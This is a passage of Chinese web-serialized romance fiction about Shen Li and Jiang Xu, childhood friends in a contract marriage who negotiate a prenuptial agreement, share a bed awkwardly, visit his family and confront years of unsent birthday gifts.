屋里是昏暗的,窗边的灰色帘子挡住户外射来的强烈的阳光,一边的木质柜子放着个玻璃杯,手触碰上杯壁,还能感受到一些温度。
不对……
沈璃不自觉皱眉,她什么时候到里面的卧室来了?还睡在了床上。
难不成是自己梦游了?
卧室的门没有完全关上,留着条缝,外面的灯光钻进来,一墙之隔的空间里传来低沉的人声。
来时脚上的小白鞋整齐地摆放在床边,沈璃穿上鞋推开门走了出去。
果不其然,不知何时回来的江许站在休息厅里接电话,看着对方忙碌的模样,沈璃将要脱出口的问题咽了下去,默默坐回先前的沙发椅里等待。
睡过去之前剪辑好的视频还没来得及发布,趁着现在的时间刚好进行上传。
沈璃盯着屏幕上快要转完的圈圈,下面显示的百分之九十七始终不肯再进一步。
她不自觉皱了眉,刷新了手机,甚至还看了一眼设置里的内存数据。
会议需要,江许穿了一身代表严肃的黑西装,回到休息室后就脱下了外套,留下里面用于搭配的衬衫。
挂断电话,江许转身看见窝在沙发里的沈璃皱着眉头,顿了下,语里有些紧张:“我吵醒你了吗?”
直到看见屏幕上的提示字幕变为‘上传成功’,沈璃的脸色才缓和了些。
带着雀跃的表情仰起头,迎上江许的视线:“你刚才说什么?”
她没听清江许刚才问的问题。
江许摇了摇头,放下了心中的顾虑。
“我回来的时候看你睡着了,坐在这儿休息不舒服。就把你抱到了床上。”
只字不提其实他贪心地躺在她身边小憩了一会儿,甚至依依不舍起床后还在她额上亲了一下。
这样的事情,他也只敢在阿璃睡着的时候做。
他拉来一根凳子移到沈璃正对面,坐下之后随手捏起放在桌上的文件夹,抽出事先准备好的几张文件。
“你看看。”
声音清冷,话落后不自觉迫使自己去观察沈璃的面部表情。
“这是什么……”
沈璃粗略地看了几行字,才发现这是一份‘婚前协议’。
婚姻存续期间,双
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方都有义务在公众面前保持恩爱的模样,以此维护家族名声.
绝不允许有第三者的出现.
婚姻存续期间,女方可以随意支配男方的个人流动资金男方的无限度卡也归女方所有.
适当的亲密举动可以在日常生活中出现,例如……
“还有一些需要补充的你尽管提出来。”江许揉了下眉心,最近工作的时间太长眼睛不免干涩。
夫妻双方应主动培养感情,例如一起住主卧.
……
这算是什么?
沈璃蹙起眉头,将手上的东西随手扔到一边。
“期限呢?”
说好的,只是一年。
这些条条框框都写上去的话,那么期限也应该写上去作为保证才对。
“忘记了。”男人的声音低沉沙哑,藏着些莫名而来的烦躁。
就这么想早一些分开?还是说想要快点离开去找谁?
江许的脑海里不自觉响起了上午季之礼说过的话:
‘都不肢体接触?一次也没亲过?牵手也没有?’
‘孤男寡女同居半个月了,怎么一点进度都没有?’
‘分房睡?也就你能答应下来。’
‘不过也是,说不定人家外面早就有了别人,也说不定是那个人……’
比起结婚对象,他们更像是合作伙伴,各不干涉。
这并不是江许提出结婚的初衷。
一想到沈璃有可能和别的男人牵手,亲吻的画面,一阵酸涩涌上了江许心尖,逐渐变得麻木。
这么些年他都有劝说过自己放下,可忘不掉放不下,既然有了机会,那就应该主动出击才对。
沈璃不爱他,那就想方设法让她和自己接触,毕竟人的心都是肉做的。
人的心都是肉做的……
可是这么些年了,他们认识二十多年,他喜欢了沈璃十多年,
换来的是今天上午沈璃在化妆镜前的那一句:
总会散的。
为什么,凭什么……
这场婚姻是他那么多年的求之不得,他放弃过,可是上天给了他机会,他自以为是的抓住不过也会是昙花一现。
他不要事情变成这样。
不要。
既然一味地让步得不到想要的进度,那么他就主动出击。
身为精明的商人,江许有的是办法和手段到达想要的目的。
“还有一些我认为要改的地方。”
沈璃又拿起协议,一边指一边提出自己的见解。
“你的卡,我不需要。”
“睡同一间房…我认为没有必要。”
江许早已预料,事先就准备好了说辞。
“新婚夫妻分房睡,谁来家里看见了传出去对江氏名声不好。况且…”
况且夫妻需要履行基本的义务,满足对方的需求,把夫妻身份坐实。
但他没说。
一下子索取的过多,反而会引起对方的反感。就像下棋一样,得一步一步走。
“不论你需不需要,我的卡都是你的。”
他的所有从始至终都是阿璃的。
相应的,阿璃的人和心也应该都是他的才对。
8. 同床.
“一定要睡在一起吗?”
下午签下的协议,晚上回家就开始执行了。
沈璃站在卧室门前,脑袋转来转去看着江许在两个房间进进出出,一会儿抱枕头,一会儿从衣帽间抱衣服的。
起初沈璃提出分房睡,江许就主动去了二楼的次卧,把最大最舒适的主卧留给了沈璃。
“衣服…衣服你也可以用那边的衣帽间吧。”大部分定制款的正装都还留在次卧旁边的衣帽间,江许搜罗了些日常的私服,用衣架挂起来塞进主卧衣帽间的柜子里。
“都在这边睡了,去那边换多不方便。”江许回答的有理有据。
他穿着一身灰色的棉质家居服,脱离白日里的那副一丝不苟的严肃模样。
沈璃这么一问,江许加快步伐,走进主卧里,看着她说道:
“搬好了。”
其实还有些东西没搬完,但他心里怕沈璃反悔。
不过十分钟,原本只有沈璃一个人住的主卧顿时有了另一个人的痕迹。
她心底感到别扭,虽然年少时和江许算得上两小无猜,但也没这样睡一间房过。
孤男寡女共处一室,要是哪天谁没忍住那不就……
这样想,耳根子都不由得烫烫的。
沈璃不敢接着想下去,背过身吸了口气。
“我去卧室写点脚本,你要是困的话就先休息。”
晚上十点,还没到江许日常的入睡时间。
“我也还有些邮件要回。”
乘坐电梯回到一楼客厅,二人默契地坐在两头各做各的工作。
有邮件要回复是真的,但今日那些必须他过目的邮件和合同早在白天就已经处理完。
他不过是在耗时间等沈璃一起回房间而已。
看着因为之前电量耗尽而自动关机的笔记本电脑,江许掀了下眼皮,手指点了下手机屏幕,看着默认的风景锁屏背景上方大大的时间提示。
十一点半了。
沈璃平时都差不多这个点睡。
默了默,江许看向还在刷着手机沈璃,咳了两声清嗓,身子朝前倾手肘抵在大腿膝盖上。
“脚本…写完了吗?”
食指点上屏幕的蛋糕,随后游戏提示栏框已满,游戏失败。
每天免费玩三次,沈璃用于解闷。
最后一次机会也被用光,沈璃抬起下颚看他,抑住将要打出的哈欠。
“还不是很困,要不你先去休息?”
江许摇了摇头。
昨晚熬夜今天的行程也满,到这个时间点江许忍不住感到倦乏。
他强撑着眼皮,起身说先去浴室泡个澡,顺便解解乏。
等到二人都抵不住困倦回主卧时,已经是凌晨一点。
沈璃刚冲过热水澡,眼前像是还蒙着一层热雾似的,湿漉漉水灵灵的。头发随意用紫色的大肠发圈圈成丸子头,两侧的碎发落了下来。
“你还没睡啊?”
她这都找的什么话题,人睁着眼坐在床边上那可不是没睡嘛……
沈璃感到些尴尬,拽着睡衣的衣角坐到熟悉的床边。
江许关掉头顶上的大灯,卧室里就剩下床头的灯还亮着暖色的光。
“现在睡。”他低着头,二话不说关上手机,放至床头柜插上线充电,脱掉鞋掀开床被上了床。
两人都靠在床靠背上规矩地坐着,兀自直视着床被。
许久,江许试探道:“关灯睡觉了吧?”
差不多一点了。
沈璃点头,侧身关掉了床头的光。身子往下缩,躺在了床上。
屋里安静的能听见彼此均匀的呼吸声,灯关了一点光没有睁着眼睛伸手迷迷糊糊可见五指。身子稍稍一挪动,就触碰上边上人的肩膀。
被撞了一下的江许愣了愣,开口问她:“怎么了吗?”
“没,没什么。我不小心碰到了而已。”
大晚上的,她能做什么。
江许的声音清润,在寂静的夜里像是一阵轻拂的风。
“那睡了吧,晚安。”
互道晚安简单,可怎么入睡确是件难事。先前积累的困意在沈璃踏进来的那一刻就一扫而空,他一想到躺在身边的人是沈璃,想到以后数不清的晚上都会和她这样同床共枕,心跳就止不住加快,连呼吸都变得急促,身体产生了些异样。
沈璃率先扛不住困意睡着,睡前她尽力不越过自己在心里划分的那道床上三八线,这下子一闭眼一入梦,身体不老实动了起来。
先是翻了个身,习惯性伸手去够每晚要抱着入睡的抱枕,全然忘记了那长长的小狗形状的东西早就被江许放到了沙发上。
倒是这个新的抱枕……
怎么还有温度,热热的。硬梆梆的还要弹性,什么东西还是块状的。
算了,将就一下吧。
梦里的沈璃无奈地抱住抱枕,翘起脚缠住,脑袋不停地往抱枕上蹭。
直到男人的闷哼将她从梦中拉回现实。
“我……”
一睁眼,沈璃才发现自己正变身为八爪鱼缠着江许,伸出去的小腿腿腹搁在他的腹下。
江许的脸色不太好,本来就睡不着,一闭上眼他那睡觉做着梦的妻子就开始各种‘勾引’他。
摸他手臂上,腹部的肌肉,还用腿蹭他。
受宠若惊之余,江许保持着原来的动作不敢随意乱动。
“不好意思。”沈璃摆正身子,自觉往床边上靠,翻了个身压住自己爱乱动的手臂,另一手将被子掀过头顶蒙住自己。
“我还是把抱枕拿回来吧…”
江许立马接上话:“没事。”
他愿意每天晚上都当人形抱枕。
“睡吧,我没关系的。”
嘴上这么说,喉结倒是来来回回滚了好几下。夜里眸子又开始变暗变沉,带着油然而生的欲望属实一时半会儿无法平静。
挣扎了一会儿,偶尔眼神飘忽瞧见身侧的人形,焰火越来越旺。
挣扎无果,呼吸越来越急促,脖子上冒出了青筋。
迅速掀开被子,坐起身子站起来就要走,期间不忘对沈璃的疑惑作出解释:
“我上个厕所。”
“……嗯。”
——
翌日下午向家那位刚上位的少爷向延约了江许及其妻子打网球。
年少的时候江许就热爱运动,加上家族培训,各类运动样样精通。
上高中的时候,江许的网球技术是学校出了门的好,这么多年过去也不逊色,每一局都以绝对优势胜出。
“江总,喝点水。”大学毕业之后就被派到外地的分公司学习,最近几
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年老爷子身体抱恙又被调回上江市的总部公司来,几局网球下来向延站在原地喘乐好一会儿气。
长期规律运动的缘故,这点运动量对江许来说还算不上什么。
私人包下的网球场地没有多余的人,另一边的场是沈璃同向延的助理在打。
“江夫人打得可真好。”助理名叫漾漾,同沈璃差不多大的年纪,让人最印象深刻的是那永远还在脸颊上的两颗小酒窝。
漾漾弯下身子去捡滚到脚边的球,一捡一扔,扔进了收纳筐里。
沈璃笑笑,自顾自去拿水喝。
她网球技术不行,算是当时网球课上打的最差的那一批。漾漾让球她感觉的出来。
不过都是为了讨她开心,准确来说,是讨江夫人开心。
“之前就听我们向总说江夫人貌美,这么一见,还真是美若天仙,像是十几岁姑娘。”
过分夸张的赞语差点让喝水的沈璃呛住,咽下腔里的水咳了几声才逐渐缓过来。
“这样的赞美可不是对谁都适用的。”
漾漾的笑容一顿,沈璃往前走一步,她就跟上去,双手不自觉捏紧了衣角。
“您生气了?”
“那倒没有。”
沈璃摆摆手,示意对方别把刚才那话放在心上。
漾漾不过是一个想尽办法完成老板给的照顾好想讨好的大佬妻子的小助理而已,沈璃没必要为难她。
况且年纪都差不多大,漾漾的模样又生的可爱,沈璃狠不下心。
“只是不习惯别人这么奉承我,就像你刚才让我球一样,其实只会弄的尽兴现在你也很累。”
修长白嫩的脖颈上布这细细麻麻的汗珠,小姑娘还一个劲拿纸巾给她擦汗。
沈璃又问了她生辰,算了算漾漾比自己要小三岁。
沈璃让她叫自己沈璃姐就好没必要一口一个江夫人,漾漾起初连着摇头表示不敢,沈璃一再劝说表示并不在意称呼希望两人在同一个层面交谈这才把漾漾说动。
两人一来二往聊了些平常话,大多时候都是沈璃在问漾漾,漾漾这人健谈,回答的头头是道。
“那你们向总是怎么在那么多应聘者里面选中你做助理的?”
毕竟当初斗胆去面试的漾漾不过是个刚毕业的新人。
“我们向总最看重的不是经历,而是能力。”漾漾下颚一抬,那股小小的傲劲生了起来。
比起那些难以伺候的富家太太,她可是爱惨了眼前的江夫人。
人长的漂亮又温柔,没有架子还很和气。
声音也很有特点,甚至有些耳熟,像极了每次压力大在夜里刷烘培治愈视频里面的配音……
“那你有什么特别能力?”
“我学生时代那会儿追星追的迷,经常去追线下当站姐追行程。那会儿我还进了反黑组,专门扒那些黑粉的个人资料,以其人之道还治其人之身,就没有找不到的人搜不到的信息。”
“那你平时都帮你们向总找什么人?”
漾漾嘴唇一撇,问起这事就有点泄气。
“我们向总每次都让我去查向老夫人在哪,向老夫人是不是又在他身边安插眼线了,还有向总去夜店的时候向老夫人是不是偷偷来抓包了,还让我跟着向老夫人说他好话。”
“……”果然是不可多得的伯乐啊。
9. 礼物.
“江总,有机会咱们下次再聚,下次换个我擅长的项目。”
向延吩咐漾漾在会所定了包间,会所就在网球场楼上,私密性极强。
知道江许不喜欢通俗的酒桌文化,这顿饭上的酒水便用上好的茶水代替。向延还没接手家里业务的时候就同江许认识,是江许的学弟,两人还算有颇多话题,闲聊之际适时添加有意合作的话题。
“今晚过后把资料发给王秘书,这两天我会过目。”
江许挑了挑眉,脱下的西装外套叠起来搭在手臂上,等到沈璃来到身边,伸手搂住她的腰。
突如其来的触碰让沈璃不由得一怔,随即对着说着客气话的向延勾了勾唇角以示礼貌的微笑。
向延亲自送人下楼,等电梯的时候有意将漾漾叫到了一边。
“内场票,给你的。”
漾漾扬了扬发丝,瞪大眼睛看着向延递来的门票。
“向总,这票很难抢的!”她守了好几天最后都卡在付款阶段。
向延给的内场票现在都被黄牛炒到快五万块一张。
“向总,你真的是最帅最体恤的老板了!向总,此身不悔做助理啊!”
“让我当牛做马都行!”
向延暼她一眼,从包里摸出烟盒抽出根细烟,却没找到火机,只好作罢。
“矜持点。”江许和沈璃还在旁边。
他找的这个助理,学历能力其实都不是最突出的,甚至有时候做事还有些毛手毛脚的,但胜在……
“真想感谢我?那请我去你家吃饭吧。”
“那得看时间,我姐不喜欢外人去……”
“向总…是不是对漾漾有意思?”
沈璃发誓,她并不是有意听别人对话并且瞎猜的,只是离得不远,想不听见都难。
八卦是人类的本性嘛。
江许目不斜视,显得十分淡定:“他是对他助理的姐姐有意思。”
沈璃的眼睛一亮:“准备收买人心?”
先俘获身边人的心,再强势追击?
江许摇头,语气里依旧充满淡定:
“别人有男朋友,他等着第一线的分手消息好趁机上位。”
“……”沈璃脸上的笑容一下子僵住。
夜晚降临,上江市的繁华更加璀璨夺目,临近旅游季,不少外地游客来往,将部分高楼打卡点堵的水泄不通。
今晚的任务不算重,沈璃切换工作用的微信回复pr发来的一堆消息,洗澡洗头吹干后就上了床。
江许今晚似乎也并不忙,早早回到房间看书,见她上了床,也紧跟着合上书准备休息。
沈璃睡觉的时候习惯抱着抱枕睡觉,奈何今早发现用了很久的抱枕开了线漏棉花,重新买的一个抱着又不像以前那样舒服,习惯。
没有抱枕抱着,她就习惯性在床上乱动,特别是睡着了没意识的时候。
要是又不小心抱住江许而且还对他那样…
思来想去,沈璃干脆起身,拎起沙发上的小抱枕扔在床中央。
回到床上,她指着抱枕对江许说:“这个线,谁都不能逾越。”
江许睨了眼,心底有些不悦。
好不容易睡到一张床上了,结果又迎来了所谓的分割线。
到底什么时候才能和阿璃更亲近一些?
如果他是阿璃的抱枕就好了,一晚上都能被她抱着睡还不被嫌弃。
——
婚礼前几天,江许带着沈璃回了一趟江家老宅。
为了参加平日里最受疼爱的孙子的婚礼,远在山上疗养院度晚年的两位老人家特意返回。
“一晃眼,江许和阿璃都这么大了。”甘茵是看着这两位孙辈长大的,以前带着孙子在院里玩的时候,孙子江许不过才到自己大腿那么高。
长辈们的眼里,这两人是顺理成章的一对,毕竟青梅竹马两小无猜,人人都叫好,就连甘茵也曾经对着跟在沈璃屁股后面的江许打趣说:‘以后结了婚指定是个妻管严。’
时间一晃也就过去了,两位小辈也开始自己组建家庭。为此,甘茵特意从自己珍藏的珠宝盒选了两副当初从拍卖会上花了大手笔淘回来的珍珠耳环,一副给孙媳妇沈璃,一副给儿媳妇孟谷秋。
当初大儿媳妇孟谷秋生江许的时候是难产,孟谷秋是不易孕体质,为了怀上还在就吃了不少的苦。江许出生的那天更是大出血了一场,好在最终逃过一劫。
“阿璃戴着可真好看。”
沈璃皮肤白又嫩,鹅蛋脸型匀称精致,两支耳环挂在耳垂上显得灵动许多。
从小甘茵就没少给沈璃送东西,在她的印象里,眼前头发自然花白的老妇人一直是和蔼可亲的老奶奶模样。
甘茵稀罕这个孙媳妇,从小嘴甜又文静,跟着江许来家里玩也是乖乖巧巧的,可招人喜欢。
甘茵握着沈璃的手,一脸笑容地询问她和江许最近的感情状况。
沈璃自然不敢把真实情况说给长辈听,值得努力编造出一些两人十分恩爱的话语。
好在她说的真切,在座的长辈都没起疑。
“等办完婚礼,你们两努努力,给我生个重孙子。我和你奶奶啊有时候就是太孤单。”江兴国笑起来脸上褶子皱起。
沈璃脸上浮现些许尴尬。
连感情都没有,顶多只是同时躺在一张床上,要怎样孕育所谓的爱情结晶?
甘茵瞪自家老头一眼,教育道:“人小两口有自己的节奏。”
儿子江致远也出来圆场:“是啊,今年先不急。等过了今年努努力,最好生个一儿一女凑个好字!”
江许如今刚上位,什么都需要稳固,江致远才会说不急。
这样的家族,大多讲究个多子多福,即使是平日待她很好的长辈,也避不了开启催生的模式。
江许挑起家族重担成为一辈堂兄弟的眼中钉,以后生下的孩子毕竟也是要子承父业的。
沈璃不喜欢当下的话题,她不想做什么嫁入豪门的生育工具,也不喜欢被赋予这样的名号。
只是当下却无法说出反驳的话语。
长辈们的笑声传入耳里却是刺耳的。
“奶奶,你们聊什么呢。”为了庆祝家里人团聚,江许特意去酒窖亲自挑了瓶年份上好的红酒。
刚进一进屋,就遇上餐厅里的人其乐融融地笑着。
只是阿璃的脸色似乎不太好。
“没什么,快坐下吧。”沈璃回过神,只想快点逃离当下的话题。
饭后,二人陪着长辈在客厅聊天,好在
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没人再提及先前的事情。
沈璃放下心来。
一年,一年就够了。
一年以后分道扬镳,各自安好,管他江家有几个子孙,反正不是从她肚子里出来的。
“少爷,前几日我整理您原来的房间,有一些盒子装的东西就给您收拾起来了。都是没拆开过的,您看还需不需要留下。”
卧室里大多放着学生时代留的东西,江许嘱咐里面的东西由他自己处理。
卧室定期有人进来清理,一些江许嘱咐过的珍惜物件从未有人擅自碰过。
江许在老宅的卧室自带一间书房,柜上除了一些各种类型的书籍就是学生时期大大小小的竞赛奖杯。
他一直都是耀眼的,无论在什么领域都能够发光发热。
卧室靠阳台的一角,专门定做了柜子储存东西。一件件物品都用塑料膜包着防止磨损。
“这都是我以前送你的那些吗?”第一个抽屉里就放着那么些年沈璃送他的生日贺卡。
这么些年过去,竟然一点磨损也不曾有过,崭新般躺在柜子里,成为时光的记忆。
“嗯。”江许应了声,一双眸子藏在阴影里,晦暗不明。
俯下身子抽出柜后面暗格里的收纳筐,里面放着大大小小的礼物,都是历年来沈璃送给他的。
小时候的六一礼物,历年的生日礼物,有时候她高兴了做了手工也会分他一些。
以前每一年都有来自阿璃的礼物,直到十八岁那年,一切美好都在一瞬间停止。
不知不觉中,沈璃的目光也随着他落在那收纳筐里。
小时候送给他的小熊挂件,第一次独立完成的人像画,画的就是江许,手工编织的手链,拼好的乐高玩具,给他淘到的签名款篮球,还有……
他都好好珍藏着,从不让别人触碰。
那些礼物,在此刻展开了当初那些美好的画面,两小无猜的他们总是笑着陪伴彼此,从一起在草地上奔跑着放风筝到篮球赛上他在奔跑她在呐喊。
要是时光永远都在那一刻该多好……
曾经的画面如同云烟般消散,江许逐渐回过神,视线落在收纳箱底部压住的相片上。
收纳筐的玩意勾起回忆引起沈璃的好奇,她不自觉靠近,顺着江许的目光看去。
睫毛扑闪两下,塑封袋后边的校服样式和几个熟悉的脸庞映入了眼眸。
“那是高中毕业照吗?”
“嗯。”
她还记得拍摄的那天换了好几个场景,一会儿操场一会儿会堂一会儿艺术厅的,那天户外太阳特别大,操场上拍的那张她是虚着眼睛的。
目光移动,沈璃没来得及找到自己的脸,底部的相片就被江许一只手遮住。
沈璃没太在意,背过身又瞧见纸箱子里放着一堆没拆封过的礼物盒。
佣人口中不知道需不需要处理的东西。
紫色,粉色盒子用麻绳精细的系着装饰,在盒盖表面夹着心型的贺卡。
是江许的笔迹。
‘阿璃,十八岁生日快乐。’
‘阿璃,十九岁生日快乐。’
‘……’
‘阿璃,二十四岁生日快乐。’
阿璃,可是我连礼物都不敢再寄给你。
10. 身份.
视线汇聚,像是有千万句话在喉口堵塞,沈璃沉默着,盯着那些字迹好久,直到窗外的阳光开始剧烈,视线里的一切事物都变为金黄色,她这才回过神。
“这些…怎么都在这里?”
若是换做多年前,江许一定会在她生日前几天就逼着她猜那一年的生日礼物是什么。
他总是会知道沈璃喜欢什么,总是会要求沈璃说一众生日礼物当中最喜欢他送的。
阳光落进洒满地板一片,干净的反光。江许却站在阴影里,那些光洒不到一点到他的身上。
高耸的眉骨两侧是垂下的眼睫毛细微在颤动,似乎预示着男人内心掀起的波动。藏在暗处的手指骨节分明,不由自主地相互摩擦着指腹。
过往的回忆犹如云烟般闪现又离去,残留在心里没被带走的,是当初一字字写下祝福的心情。
干涩,痛苦,不甘。
就像是吞下一颗坏果,那样刻苦铭心。
要回答她些什么?江许绷直了嘴唇,一时半会儿说不出一句话来。
成熟的外表下是他自以为已经痊愈但实则溃烂不堪的内心。
要告诉她,那段无休止的冷战早就把他内心仅剩的天真抽走,因为她的一句不想见到他而多少次踌躇,告诉她,其实每一天他都在想去见她,每一年都在期盼着把礼物寄给她然后像以前一样一定要看到她露出喜欢的表情,
他无数次想这么做,这样的想法存在于脑海之中化作蝼蚁一般侵蚀着他的大脑。
可他,又有什么身份这么做?
一个被沈璃亲口说了讨厌,一个一厢情愿喜欢了沈璃那么久到最后发现像是个笑话的人吗?
没有身份再和以前一样把自己的礼物推到她的面前,让她只看得见自己写的贺卡,哄着她让她说这是最喜欢的礼物,而他是她最喜欢最好的朋友。
他没有身份再那样做。
像是吞了一颗极为苦涩的果,涩苦在腔内蔓延,结成了无数的藤蔓,绑住体内的心脏,蔓上又生出刺来,生生地扎进血肉。
握紧的拳间,江许不禁用指腹摩擦着指上的那一圈,冰冰凉凉的坚硬,侧面还有他们名字的缩写。
呼吸逐渐平静,心头的那块石头慢慢下沉,他开口,却又说出让自己难受的话。
“那时候,你并不需要这些。”
那时候她身边有人,却不是他。
那时候是阿璃亲口说讨厌他,不想再看见他。
他不敢不听阿璃的话。
抛出去的话语像是阵风,没有带回她的答案。
沉下去的眸带着些自嘲,呼吸凝滞一瞬,一块石头停悬在心脏之下,一点点往下挤压。
“抱歉。”最终,这场令江许窒息的对话以自己的道歉而终止。
看见以前的东西,本应该和阿璃进行美好的回忆,都怪他,扫了兴。
两个字化作细小的针扎进沈璃的肉里,带来细微的疼痛和酥麻。
曾有一段时间,是她亲口对江许说希望他离自己越远越好,因为这事,江许还曾在家里闹过绝食就为了逼她去看看他。
沈璃还没说什么,佣人就前来二楼说江先生和江老先生找小少爷去一楼的书房里说事。
江许一人前往。
江许离开,沈璃也不继续待在他的房间里。走出门,在佣人关上门之前深深地朝着里面看了一眼。
陈设基本没有什么变化,只是主人不常回来居住,定期的打扫让整间房间缺少了许多人气。
床单床被没有一丝褶皱地整齐布着,床头柜的相框,里面的照片多年没变。
是江许和她的合照。
15岁那年,他们在巴黎的日落餐吧里肩并肩,身后是逐渐收敛的暮色和璀璨发光的埃菲尔铁塔。
笑容定格,青涩的江许一手揽着她的肩,而她锁骨上的项链那样璀璨惹眼,是那晚江许亲自为她戴上的礼物。
江许从书房出来时,沈璃正在客厅陪两位长辈聊天。
甘茵问她自媒体工作苦不苦,需不需要她叫人去聘请几个专业的摄像和策划协助。另外,旁敲侧击问了她和江许最近的感情状况。
简单的告别后,二人离开了江宅。
沈璃下午和别人有约,就约在林雪的店里。沈璃常去林雪的店,司机轻车熟路地打着方向盘前往。
后座一言不发的男人触了下开关,前后座串联的空间顿时被隔板分割,只留下属于两人的世界。
江许看向沈璃,心事重重:“今天长辈们说的那些话,你不用在意。”
取下左耳的耳机,歌手治愈的声音还在耳畔回荡。沈璃微微蹙了下眉,一时半会儿不明白江许指的是哪些话。
见她疑惑,江许主动补充:“关于生孩子的话。”
他的声音清冽,话落下意识去察看她的表情。
沈璃本就没打算放心上,心里估计着是走之前那会儿长辈又在江许面前提过几嘴。
“嗯,我知道。”
逢场作戏,她倒不必做江夫人到那样的程度。
不知什么时候开始,两人的对话总是平淡地展开,又平淡快速地结束。
江许再也受不了这样的沉默,明明两人就在一块儿,却如同隔了好几个世界。
他努力找了些话题:“去找林雪聊天?”
“嗯。”沈璃没说真实的用意,心里也觉着江许没必要知道。
不,是他一定不能知道。
“沈小姐,这是这些天我们唯一能找到的一点线索。”
一张拍摄模糊的照片被推到眼前,沈璃低下眸子看了眼,模模糊糊的人形甚至不能确定真实身份。
她找过不少私家侦探社,但找到的消息几乎起不到任何作用。
“景家那边我们也一直在盯着,但还是没什么有用的线索。”
沈璃不可避免地叹了口气,这么些年了,这样的答案她得到了太多次。
她拜托侦探社再继续努力,无论出多少钱,哪怕只得到对方的一点消息,是死是活的消息就好。
“阿璃,如果真的找不到怎么办?”
人走后,林雪走进单独的隔间,坐在沈璃面前的位置,一脸忧愁。
以前总听别人说,痛苦的久了失望的次数多了就会麻木。那时候沈璃不信,总觉得大哭大闹才是宣泄情绪的出口。
事到如今,一次次得到这样的消息,她当真也就变得呆滞,也不是说不在意又或者是不痛苦,就好像以前对失望的答案形成了习惯,早有预料。
即使今天见面之前她还幻想过会有好的消息。
请了最好的侦探还是一无所获,就连血脉相连的亲人也对那个人的死活闭口不谈,仿佛不曾存在过。
“人就算死了,也得有尸体吧。”轻飘飘的一句话,寒冷到沈璃的骨头都在打颤。
“景家不愿意提,私家侦探又找不到任何线索。就算他活着,不也是自己不想回来?”
林雪不免激动,看着这样的沈璃她说到底还是心疼,为了找
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那个人这些年付出了太多,又遇上家里的企业受挫,好久还缓和过来。
陪伴她这么多年的阿璃,早就不是以前那个无忧无虑总是笑着的阿璃。
“不会的。”沈璃的轻喃更像是对自己说的。
她深吸了口气,尽量将突然涌上的坏情绪清走。
这样的情绪只能短暂存在,毕竟生活要继续。
情绪稍缓和后,她听见林雪试探问她:“那你有没有想过,那个人回来了,江许怎么办?”
费尽心思整理好的心思猝不及防被打乱,林雪的问题在她的脑袋里回荡,而江许的脸跃然眼前。
甚至就在一个小时前,江许才问她婚礼后想去哪个国家度蜜月,他会腾出半个多月的时间陪伴她。
江许,江许……
沈璃觉得自己是习惯了江许对她的好,习惯了江许下意识的迁就,习惯了那个少年江许什么都会听她的,只想让她开心。
她太习惯了,以至于总是第一时间忽略掉有关江许的感受。
忽略掉自己没有出席他的成人礼他的感受,忽略掉一气之下对他说过的嫌他很烦还有自己所说过的那些话语带给他的伤害。
‘江许,我再也不想见到你。’
‘江许,你什么时候能成熟一点?’
她对不起江许很多,可成人的世界里总会有人受伤,于是沈璃选择闭上一只眼睛,遮住能看见江许伤痕的视线。独留下他一个人,停在黑暗里。
从隔间出来,店里来了位沈璃认识的朋友。
郁昭的职业不是一两句话就能简单说明的,当初沈璃在名媛派对上遇见从酒店出来低血糖晕倒的郁昭,将其救起后以为对方是哪家的千金小姐,毕竟生的肤白貌美,长相又是极具攻击性的野性美,自带一种天生的气质,哪料郁昭连连摆手,告诉她自己连有钱人都算不上。
就是网络上人人嘲讽的,到处团购套餐的假名媛。
“阿璃,你名下有便宜点的房子可以外租吗?”郁昭今天和朋友来店里打卡,她在网上的人设就是到处探店的名媛千金。
恰巧碰上上回救她的富婆姐姐,忍不住又多提了嘴。
虽然说两个人算是不同阶层,但上次一来一回聊天到聊出些友情来,也就成了朋友。
沈璃问她是不是遇到了什么困难,毕竟上回郁昭还说公司有给她分配单人宿舍。
“不是我,是我的一个朋友。”郁昭摆了摆手,又作解释:“也是我的初中同学。”
“他家里特别困难,吃不饱穿不暖的,现在加进隔壁少爷团又被排挤。”
郁昭又夸张性地描述了那人的情况,说对方连电影院都没去过,烟花也没看过几次,仙女棒都不知道是什么东西。
沈璃心生怜悯,说着手下有小户型的房子可以低价租出去给他。
郁昭只是知道沈璃有钱,也知道她就是自己常刷的治愈系烘培博主的真身,却不知道她的真实的身份是什么,只当是有点小钱的富家千金。
“太好了,那我把他微信推你,你们聊。”郁昭一脸兴奋,掏出手机就要推荐好友。
“我这带的备用机,太卡了,等我回去换个手机发你。”
等到司机来接沈璃回家,快到江边别墅的时候,郁昭的消息终于发了过来。
沈璃点进有些眼熟的头像,准备添加好友告诉对方助理会处理这事,
哪料压根没有添加好友的选项。
备注明晃晃写着三个字:
季之礼。
11. 不安.
“季之礼最近是遇见什么困难了吗?”
沈璃用过晚餐,江许才应酬回来,一手托着西装外套,小麦色的肌肤脸颊两处有些红晕,应该是喝了些酒。
碰上沈璃,他问了几句下午的是否开心,婚礼的布置是否需要多加什么东西。
换来的是沈璃过问别人的近况。
酒精似乎还在胸腔处燃烧,火焰燃在每一根神经之下,烧的刺痛。
他面无表情地放下外套,解开领前的两颗扣子,露出来的锁骨凸起精致,带着几分魅惑。
还是没忍住,微微蹙了下眉,又怕沈璃发现自己的情绪,迅速抚平。
坐到离她不远的沙发上坐下,揉了揉眉心,大脑似乎在发出嗡嗡嗡的声音,还是尽量用柔和的语气问她:“怎么了吗?”
沈璃摇了摇头,刚才不过是想起下午郁昭说的那些话顺嘴问了句,既然江许不知道,也没必要继续打探。
吃不饱穿不暖,怎么可能发生在季大少爷身上。
“没什么,我先去处理工作了。”新一期的脚本还有待完善,今晚恐怕无法早睡。
刚起身,抱着笔记本电脑刚要往二楼去,沈璃被江许叫住。
“休息会儿吧,就当是陪陪我。”
今晚的江许看起来精神并不是特别好,上午从老宅离开后他就去了公司,紧接着晚上还有应酬。这算是这些日子里显得不那么忙的一天。
眼下的疲惫藏也藏不住,眼尾处的眼白泛着红色的血丝。
嗓间仿佛通入了一阵细微的电流,话语都带着些颤动。
沈璃抿了抿唇,白嫩的肌肤在光下没有瑕疵。当下,她似乎没有拒绝他的理由。
紧挨着坐在一起,安静的能听见彼此均匀的呼吸。
一时半会儿没有交流,直到沈璃发现身边的人总是皱眉然后捂住小腹。
“不舒服吗?”沈璃有些担心。
江许的嘴唇不似往常一样红润,反倒有些发紫发白。
“有一点。”他尽量压制住身体里突然涌上来的不适感,这些天太忙,进食又少休息的也不算太好。
“要看医生吗?”
江许摇了摇头,身子向后靠在沙发背上,略微敞开的衬衫下胸膛处不断起起伏伏。
